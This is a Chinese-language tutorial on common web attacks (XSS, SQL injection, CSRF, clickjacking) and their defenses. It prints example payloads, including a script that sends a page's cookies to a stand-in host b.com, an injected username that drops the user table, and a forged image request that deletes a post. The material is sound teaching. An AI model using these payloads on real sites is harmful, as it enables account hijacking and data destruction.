對于一個Web應用來說，可能會面臨很多不同的攻擊。下面的內容將介紹一些常見的攻擊方法，以及面對這些攻擊的防御手段。
一、跨站腳本攻擊（XSS）
跨站腳本攻擊的英文全稱是Cross Site Script，為了和樣式表區分，縮寫為XSS。發生的原因是網站將用戶輸入的內容輸出到頁面上，在這個過程中可能有惡意代碼被瀏覽器執行。
跨站腳本攻擊可以分為兩種：
1). 反射型XSS
它是通過誘使用戶打開一個惡意鏈接，服務端將鏈接中參數的惡意代碼渲染到頁面中，再傳遞給用戶由瀏覽器執行，從而達到攻擊的目的。如下面的鏈接：
http://a.com/a.jsp?name=xss<script>alert(1)</script>
a.jsp將頁面渲染成下面的html：
Hello xss<script>alert(1)</script>
這時瀏覽器將會彈出提示框。
2). 持久型XSS
持久型XSS將惡意代碼提交給服務器，并且存儲在服務器端，當用戶訪問相關內容時再渲染到頁面中，以達到攻擊的目的，它的危害更大。
比如，攻擊者寫了一篇帶惡意JS代碼的博客，文章發表后，所有訪問該博客文章的用戶都會執行這段惡意JS。
Cookie劫持
Cookie中一般保存了當前用戶的登錄憑證，如果可以得到，往往意味著可直接進入用戶帳戶，而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說，可以像下面這樣操作：
首先誘使用戶打開下面的鏈接：
http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>
用戶打開鏈接后，會加載b.js，并執行b.js中的代碼。b.js中存儲了以下JS代碼：
var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img);
上面的代碼會向b.com請求一張圖片，但實際上是將當前頁面的cookie發到了b.com的服務器上。這樣就完成了竊取cookie的過程。
防御Cookie劫持的一個簡單的方法是在Set-Cookie時加上HttpOnly標識，瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。
XSS的防御
1). 輸入檢查
對輸入數據做檢查，比如用戶名只允許是字母和數字，郵箱必須是指定格式。一定要在后臺做檢查，否則數據可能繞過前端檢查直接發給服務器。一般前后端都做檢查，這樣前端可以擋掉大部分無效數據。
對特殊字符做編碼或過濾，但因為不知道輸出時的語境，所以可能會做不適當的過濾，最好是在輸出時具體情況具體處理。
2). 輸出檢查
對渲染到HTML中內容執行HtmlEncode，對渲染到JavaScript中的內容執行JavascriptEncode。
另外還可以使用一些做XSS檢查的開源項目。
二、SQL注入
SQL注入常常會聽到，它與XSS類似，是由于用戶提交的數據被當成命令來執行而造成的。下面是一個SQL注入的例子：
String sql = "select * from user where username = '" + username + "'";
像上面的SQL語句，如果用戶提交的username參數是leo，則數據庫執行的SQL為：
select * from user where username = 'leo'
但如果用戶提交的username參數是leo’; drop table user–，那執行的SQL為：
select * from user where username = 'leo'; drop table user--'
在查詢數據后，又執行了一個刪除表的操作，這樣的后果非常嚴重。
SQL注入的防御
防止SQL注入最好的方法是使用預編譯語句，如下面所示：
String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery();
不同語言的預編譯方法不同，但基本都可以處理。
如果遇到無法使用預編譯方法時，只能像防止XSS那樣對參數進行檢查和編碼。
三、跨站請求偽造（CSRF）
跨站請求偽造的英文全稱是Cross Site Request Forgery，是由于操作所需的所有參數都能被攻擊者得到，進而構造出一個偽造的請求，在用戶不知情的情況下被執行。看下面一個例子：
如果a.com網站需要用戶登錄后可以刪除博客，刪除博客的請求地址如下：
GET http://a.com/blog/delete?id=1
當用戶登錄a.com后，又打開了http://b.com/b.html，其中有下面的內容：
<img src="http://a.com/blog/delete?id=1"/>
這時會以用戶在a.com的身份發送http://a.com/blog/delete?id=1，刪除那篇博客。
CSRF的防御
- 驗證碼
CSRF是在用戶不知情的情況下構造的網絡情況，驗證碼則強制用戶與應用交互，所以驗證碼可以很好得防止CSRF。但不能什么請求都加驗證碼。
- referer檢查
檢查請求header中的referer也能幫助防止CSRF攻擊，但服務器不是總能拿到referer，瀏覽器可能出于安全或隱私而不發送referer，所以也不常用。倒是圖片防盜鏈中用得很多。
- Anti CSRF Token
更多的是生成一個隨機的token，在用戶提交數據的同時提交這個token，服務器端比對后如果不正確，則拒絕執行操作。
四、點擊劫持（ClickJacking）
點擊劫持是從視覺上欺騙用戶。攻擊者使用一個透明的iframe覆蓋在一個網頁上，誘使用戶在該網頁上操作，而實際點擊卻是點在透明的iframe頁面。
點擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。
點擊劫持的防御
針對iframe的攻擊，可使用一個HTTP頭：X-Frame-Options，它有三種可選值：
- DENY： 禁止任何頁面的frame加載；
- SAMEORIGIN：只有同源頁面的frame可加載；
- ALLOW-FROM：可定義允許frame加載的頁面地址。
針對圖片覆蓋攻擊，則注意使用預防XSS的方法，防止HTML和JS注入。